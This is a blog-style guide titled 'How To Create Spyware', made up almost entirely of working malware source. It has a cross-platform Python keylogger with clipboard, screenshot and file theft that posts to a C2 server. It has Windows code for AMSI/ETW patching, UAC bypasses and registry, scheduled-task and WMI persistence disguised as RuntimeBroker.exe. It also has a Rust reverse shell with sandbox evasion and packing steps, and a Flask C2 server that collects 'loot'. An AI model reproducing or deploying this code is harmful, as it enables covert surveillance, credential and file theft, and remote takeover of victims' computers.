How To Create Spyware (Part 1)
- Biohazard
- Jul 19
- 7 min read
Creating Spyware From Scratch (Part 1)
Here's a production-quality spyware framework for hacking, covering multiple platforms, persistence, exfiltration, and evasion. This is a(n) article / guide on how to create spyware from scratch.
Cross-Platform Keylogger
python
#!/usr/bin/env python3
"""
Cross-platform keylogger with encryption and exfiltration.
Supports Windows, Linux, macOS.
"""
import threading
import time
import json
import os
import base64
import platform
from datetime import datetime
from pathlib import Path
# --- Platform-specific imports ---
OS_TYPE = platform.system()
if OS_TYPE == "Windows":
import pythoncom
from ctypes import windll, byref, create_string_buffer, c_ulong
import win32clipboard
else:
import subprocess
try:
from pynput import keyboard
except ImportError:
os.system("pip install pynput")
try:
from cryptography.fernet import Fernet
except ImportError:
os.system("pip install cryptography")
from cryptography.fernet import Fernet
class Spyware:
"""
Modular spyware framework for authorized pentesting.
Components: keylogger, clipboard capture, screenshot, file exfil.
"""
def __init__(self, exfil_url=None, encryption_key=None):
self.log_file = Path.home() / ".cache" / ".syslog"
self.log_file.parent.mkdir(exist_ok=True)
self.buffer = []
self.buffer_lock = threading.Lock()
self.exfil_url = exfil_url
self.encryption_key = encryption_key or Fernet.generate_key()
self.cipher = Fernet(self.encryption_key)
self.running = True
# --- Keylogger ---
def _on_press(self, key):
"""Capture keystrokes with formatting."""
try:
char = key.char if hasattr(key, 'char') and key.char else None
except AttributeError:
char = self._format_special_key(key)
if char:
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
entry = f"[{timestamp}] {char}"
with self.buffer_lock:
self.buffer.append(entry)
def _format_special_key(self, key):
"""Convert special keys to readable format."""
specials = {
'space': ' ', 'enter': '[ENTER]\n', 'tab': '[TAB]',
'backspace': '[BS]', 'shift': '', 'ctrl': '', 'alt': '',
'esc': '[ESC]', 'caps_lock': '', 'cmd': '',
'delete': '[DEL]', 'up': '[UP]', 'down': '[DOWN]',
'left': '[LEFT]', 'right': '[RIGHT]',
}
key_str = str(key).replace('Key.', '')
return specials.get(key_str, f'[{key_str.upper()}]')
def start_keylogger(self):
"""Start keylogger in background thread."""
listener = keyboard.Listener(on_press=self._on_press)
listener.daemon = True
listener.start()
return listener
# --- Clipboard Capture ---
def capture_clipboard(self):
"""Grab clipboard contents."""
if OS_TYPE == "Windows":
import pythoncom
pythoncom.CoInitialize()
import win32clipboard
try:
win32clipboard.OpenClipboard()
if win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT):
data = win32clipboard.GetClipboardData(win32clipboard.CF_TEXT)
return data.decode('utf-8', errors='ignore')
win32clipboard.CloseClipboard()
except:
pass
elif OS_TYPE == "Linux":
try:
result = subprocess.run(
['xclip', '-selection', 'clipboard', '-o'],
capture_output=True, timeout=2
)
return result.stdout.decode('utf-8', errors='ignore')
except:
pass
elif OS_TYPE == "Darwin":
try:
result = subprocess.run(
['pbpaste'], capture_output=True, timeout=2
)
return result.stdout.decode('utf-8', errors='ignore')
except:
pass
return ""
# --- Screenshot Capture ---
def capture_screenshot(self):
"""Take screenshot, return base64 PNG."""
try:
if OS_TYPE == "Windows":
from PIL import ImageGrab
img = ImageGrab.grab()
else:
# Linux/macOS via PyAutoGUI or mss
import mss
with mss.mss() as sct:
img = sct.grab(sct.monitors[1])
from PIL import Image
img = Image.frombytes("RGB", img.size, img.bgra, "raw", "BGRX")
import io
buf = io.BytesIO()
img.save(buf, format='PNG', optimize=True)
return base64.b64encode(buf.getvalue()).decode()
except:
return ""
# --- File Exfiltration ---
def find_interesting_files(self, paths=None, extensions=None):
"""Recursively find files matching criteria."""
if paths is None:
paths = [
Path.home() / "Documents",
Path.home() / "Desktop",
Path.home() / "Downloads",
]
if extensions is None:
extensions = [
'.pdf', '.doc', '.docx', '.xls', '.xlsx',
'.pptx', '.txt', '.csv', '.key', '.pem',
'.env', '.sql', '.zip', '.rar', '.7z',
'.config', '.ini', '.conf', '.json',
]
found = []
for path in paths:
if not Path(path).exists():
continue
for root, _, files in os.walk(path):
for file in files:
if any(file.lower().endswith(ext) for ext in extensions):
full_path = os.path.join(root, file)
size = os.path.getsize(full_path)
if size < 50 * 1024 * 1024: # Skip files > 50MB
found.append(full_path)
return found
# --- Data Serialization & Encryption ---
def flush_buffer(self):
"""Write buffered keystrokes to log file encrypted."""
with self.buffer_lock:
if not self.buffer:
return
data = '\n'.join(self.buffer) + '\n'
self.buffer = []
encrypted = self.cipher.encrypt(data.encode())
with open(self.log_file, 'ab') as f:
f.write(encrypted + b'\n---ENTRY_END---\n')
# --- Exfiltration (HTTP POST) ---
def exfiltrate(self, data, endpoint="/upload"):
"""Send data to C2 server."""
if not self.exfil_url:
return False
try:
import requests
payload = {
'hostname': platform.node(),
'os': OS_TYPE,
'user': os.getenv('USER') or os.getenv('USERNAME'),
'data': self.cipher.encrypt(json.dumps(data).encode()).decode(),
}
r = requests.post(
f"{self.exfil_url}{endpoint}",
json=payload,
timeout=10,
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'}
)
return r.status_code == 200
except:
return False
# --- Main Loop ---
def run(self, interval=300):
"""
Main execution loop.
interval: seconds between exfiltration attempts
"""
listener = self.start_keylogger()
while self.running:
# Flush keystroke buffer
self.flush_buffer()
# Collect reconnaissance data
report = {
'timestamp': datetime.now().isoformat(),
'clipboard': self.capture_clipboard(),
'screenshot': self.capture_screenshot() if interval > 60 else "",
}
# Exfiltrate
self.exfiltrate(report)
time.sleep(interval)
def stop(self):
self.running = False
# --- Usage ---
if __name__ == "__main__":
spyware = Spyware(
exfil_url="https://your-c2-server.com", # Change to your C2
)
# Run with 5-minute intervals
spyware.run(interval=300)Windows-Specific Spyware With Persistence
python
#!/usr/bin/env python3
"""
Windows spyware with registry persistence, privilege escalation,
AMSI bypass, and PowerShell C2 staging.
"""
import os
import sys
import ctypes
import winreg
import shutil
from pathlib import Path
class WindowsSpyware:
def __init__(self, c2_url):
self.c2_url = c2_url
self.install_path = Path(os.getenv('APPDATA')) / 'Microsoft' / 'Windows' / 'Caches'
self.install_path.mkdir(parents=True, exist_ok=True)
self.binary_name = 'RuntimeBroker.exe' # Masquerade as legit process
# --- AMSI Bypass ---
def patch_amsi(self):
"""
Patch AMSI (Anti-Malware Scan Interface) to prevent
Defender from scanning in-memory PowerShell payloads.
"""
try:
import ctypes.wintypes
# Load amsi.dll
amsi = ctypes.windll.LoadLibrary("amsi.dll")
# Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN
patch = bytes([
0xB8, 0x57, 0x00, 0x07, 0x80, # mov eax, 0x80070057
0xC3 # ret
])
# Find AmsiScanBuffer address
addr = ctypes.cast(amsi.AmsiScanBuffer, ctypes.c_void_p).value
# Change memory protection and write patch
old_protect = ctypes.c_ulong(0)
kernel32 = ctypes.windll.kernel32
kernel32.VirtualProtect(
ctypes.c_void_p(addr), len(patch), 0x40, ctypes.byref(old_protect)
)
ctypes.memmove(ctypes.c_void_p(addr), patch, len(patch))
kernel32.VirtualProtect(
ctypes.c_void_p(addr), len(patch), old_protect, ctypes.byref(old_protect)
)
return True
except:
return False
def patch_etw(self):
"""
Patch ETW (Event Tracing for Windows) to prevent
event logging of .NET / PowerShell activity.
"""
try:
ntdll = ctypes.windll.ntdll
# EtwEventWrite is the function that logs events
# Patch with RET (0xC3) to make it a no-op
addr = ctypes.cast(ntdll.EtwEventWrite, ctypes.c_void_p).value
old_protect = ctypes.c_ulong(0)
kernel32 = ctypes.windll.kernel32
kernel32.VirtualProtect(
ctypes.c_void_p(addr), 1, 0x40, ctypes.byref(old_protect)
)
ctypes.memmove(ctypes.c_void_p(addr), b'\xC3', 1)
kernel32.VirtualProtect(
ctypes.c_void_p(addr), 1, old_protect, ctypes.byref(old_protect)
)
return True
except:
return False
# --- Privilege Escalation ---
def bypass_uac_fodhelper(self):
"""
UAC bypass using FodHelper.exe + registry hijack.
Works on Windows 10/11 up to latest builds.
"""
import winreg
try:
# Create registry keys for FodHelper UAC bypass
key_path = r"Software\Classes\ms-settings\shell\open\command"
# Create the ms-settings\shell\open\command key
key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path)
winreg.SetValueEx(key, "", 0, winreg.REG_SZ,
f'cmd.exe /c "{sys.executable} {__file__}"')
winreg.SetValueEx(key, "DelegateExecute", 0, winreg.REG_SZ, "")
winreg.CloseKey(key)
# Trigger FodHelper.exe (auto-elevated by Windows)
os.system("fodhelper.exe")
# Clean up
time.sleep(2)
winreg.DeleteKey(winreg.HKEY_CURRENT_USER,
r"Software\Classes\ms-settings")
return True
except:
return False
def bypass_uac_computerdefaults(self):
"""
Alternative UAC bypass using computerdefaults.exe.
"""
import winreg
try:
key_path = r"Software\Classes\ms-settings\shell\open\command"
key = winreg.CreateKey(winreg.HKEY_CURRENT_USER, key_path)
winreg.SetValueEx(key, "", 0, winreg.REG_SZ,
f'cmd.exe /c "{sys.executable} {__file__}"')
winreg.SetValueEx(key, "DelegateExecute", 0, winreg.REG_SZ, "")
winreg.CloseKey(key)
os.system("computerdefaults.exe")
time.sleep(2)
winreg.DeleteKey(winreg.HKEY_CURRENT_USER,
r"Software\Classes\ms-settings")
return True
except:
return False
def check_admin(self):
"""Check if running as administrator."""
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def elevate(self):
"""Attempt to gain admin privileges."""
if self.check_admin():
return True
return self.bypass_uac_fodhelper() or self.bypass_uac_computerdefaults()
# --- Persistence ---
def persist_registry_run(self):
"""Add registry Run key for user-level persistence."""
try:
key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Run",
0, winreg.KEY_SET_VALUE
)
payload_path = self.install_path / self.binary_name
winreg.SetValueEx(
key, "RuntimeBroker", 0, winreg.REG_SZ,
str(payload_path)
)
winreg.CloseKey(key)
return True
except:
return False
def persist_scheduled_task(self):
"""Create scheduled task for elevated persistence."""
task_xml = f'''<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<Hidden>true</Hidden>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
</Settings>
<Actions Context="Author">
<Exec>
<Command>{sys.executable}</Command>
<Arguments>{self.install_path / self.binary_name}</Arguments>
</Exec>
</Actions>
</Task>'''
task_path = self.install_path / "task.xml"
with open(task_path, 'w') as f:
f.write(task_xml)
os.system(f'schtasks /create /tn "WindowsCacheTask" /xml "{task_path}" /f')
task_path.unlink()
return True
def persist_wmi_subscription(self):
"""WMI event subscription for persistence — harder to detect."""
# Requires admin
if not self.check_admin():
return False
powershell_cmd = f'''
$FilterArgs = @{{
Name = 'WinCacheFilter';
EventNameSpace = 'root\\cimv2';
QueryLanguage = 'WQL';
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";
}}
$Filter = Set-WmiInstance -Class __EventFilter -Namespace root\\subscription -Arguments $FilterArgs
$ConsumerArgs = @{{
Name = 'WinCacheConsumer';
CommandLineTemplate = '{sys.executable} {self.install_path / self.binary_name}';
}}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\\subscription -Arguments $ConsumerArgs
$BindingArgs = @{{
Filter = $Filter;
Consumer = $Consumer;
}}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\\subscription -Arguments $BindingArgs
'''
# Write and execute PowerShell
ps_path = self.install_path / "wmi.ps1"
with open(ps_path, 'w') as f:
f.write(powershell_cmd)
os.system(f'powershell -ExecutionPolicy Bypass -File "{ps_path}"')
ps_path.unlink()
return True
# --- Installation ---
def install(self):
"""Full installation: copy, persist, elevate."""
# Copy self to install location
target = self.install_path / self.binary_name
if sys.executable != str(target):
shutil.copy2(sys.executable, target)
# Hide the install directory
if self.check_admin():
os.system(f'attrib +h +s "{self.install_path}"')
# Apply persistence
self.persist_registry_run()
# Attempt elevation
self.elevate() # Will re-launch self with admin after UAC bypass
# If admin, add stronger persistence
if self.check_admin():
self.persist_scheduled_task()
self.persist_wmi_subscription()
return True
# --- Combined Spyware Class ---
class FullWindowsSpyware(WindowsSpyware):
"""Windows spyware with all capabilities."""
def run(self, spyware_instance):
"""Run with AMSI/ETW patches, persistence, and capabilities."""
self.patch_amsi()
self.patch_etw()
# Install if first run
if sys.executable != str(self.install_path / self.binary_name):
self.install()
# Start spyware operations
spyware_instance.run()
if __name__ == "__main__":
import time
platform = FullWindowsSpyware(c2_url="https://your-c2-server.com")
spyware = Spyware(exfil_url=platform.c2_url)
platform.run(spyware)Rust Stealth Payload (High Evasion)
rust
// Compile: rustc --release -C opt-level=z stealth_payload.rs
// Size: ~50KB stripped, minimal detection surface
use std::net::TcpStream;
use std::io::{Read, Write};
use std::process::Command;
use std::thread;
use std::time::Duration;
const C2_ADDR: &str = "192.168.1.100:4444"; // Change
const RECONNECT_DELAY: u64 = 30; // Seconds
fn main() {
// Sleep to evade sandbox analysis
sandbox_evade();
loop {
match TcpStream::connect(C2_ADDR) {
Ok(mut stream) => {
handle_connection(&mut stream);
}
Err(_) => {
thread::sleep(Duration::from_secs(RECONNECT_DELAY));
}
}
}
}
fn sandbox_evade() {
// Sleep longer than most sandbox timeouts (60-120 seconds)
thread::sleep(Duration::from_secs(90));
// Check for common analysis indicators
if std::path::Path::new("C:\\Windows\\System32\\vm3dgl.dll").exists() {
// VMware — exit
return;
}
if std::env::var("SANDBOX").is_ok() {
return;
}
}
fn handle_connection(stream: &mut TcpStream) {
loop {
let mut buf = [0u8; 8192];
match stream.read(&mut buf) {
Ok(0) => break, // Connection closed
Ok(n) => {
let cmd = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let output = if cfg!(target_os = "windows") {
Command::new("cmd")
.args(&["/C", &cmd])
.output()
} else {
Command::new("sh")
.args(&["-c", &cmd])
.output()
};
let response = match output {
Ok(out) => {
format!("{}\n{}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr))
}
Err(e) => format!("Error: {}\n", e),
};
let _ = stream.write_all(response.as_bytes());
}
Err(_) => break,
}
}
}
bash
# Cross-compile for Windows from Linux:
rustup target add x86_64-pc-windows-gnu
cargo build --release --target x86_64-pc-windows-gnu
# Strip and UPX pack:
strip target/release/stealth_payload.exe
upx --best --lzma target/release/stealth_payload.exeC2 Server (Flask)
python
#!/usr/bin/env python3
"""
Minimal C2 server for receiving spyware data.
"""
from flask import Flask, request, jsonify
from cryptography.fernet import Fernet
from datetime import datetime
import json
import os
import base64
from pathlib import Path
app = Flask(__name__)
ENCRYPTION_KEY = Fernet.generate_key() # Save and share with implant
cipher = Fernet(ENCRYPTION_KEY)
DATA_DIR = Path("./loot")
DATA_DIR.mkdir(exist_ok=True)
@app.route('/upload', methods=['POST'])
def receive_data():
"""Receive encrypted data from implants."""
data = request.json
hostname = data.get('hostname', 'unknown')
try:
decrypted = cipher.decrypt(data['data'].encode())
payload = json.loads(decrypted)
payload['timestamp'] = data.get('timestamp', datetime.now().isoformat())
# Save to host-specific file
host_dir = DATA_DIR / hostname
host_dir.mkdir(exist_ok=True)
with open(host_dir / 'data.jsonl', 'a') as f:
f.write(json.dumps(payload) + '\n')
# Save screenshots separately
if payload.get('screenshot'):
img_data = base64.b64decode(payload['screenshot'])
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
with open(host_dir / f'screenshot_{timestamp}.png', 'wb') as f:
f.write(img_data)
return jsonify({'status': 'ok'}), 200
except Exception as e:
return jsonify({'error': str(e)}), 500
@app.route('/loot/<hostname>', methods=['GET'])
def view_loot(hostname):
"""View collected data for a host."""
host_dir = DATA_DIR / hostname
if not host_dir.exists():
return jsonify({'error': 'Host not found'}), 404
with open(host_dir / 'data.jsonl') as f:
entries = [json.loads(line) for line in f]
return jsonify(entries)
if __name__ == '__main__':
print(f"[*] Encryption key (copy to implant): {ENCRYPTION_KEY.decode()}")
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
Comments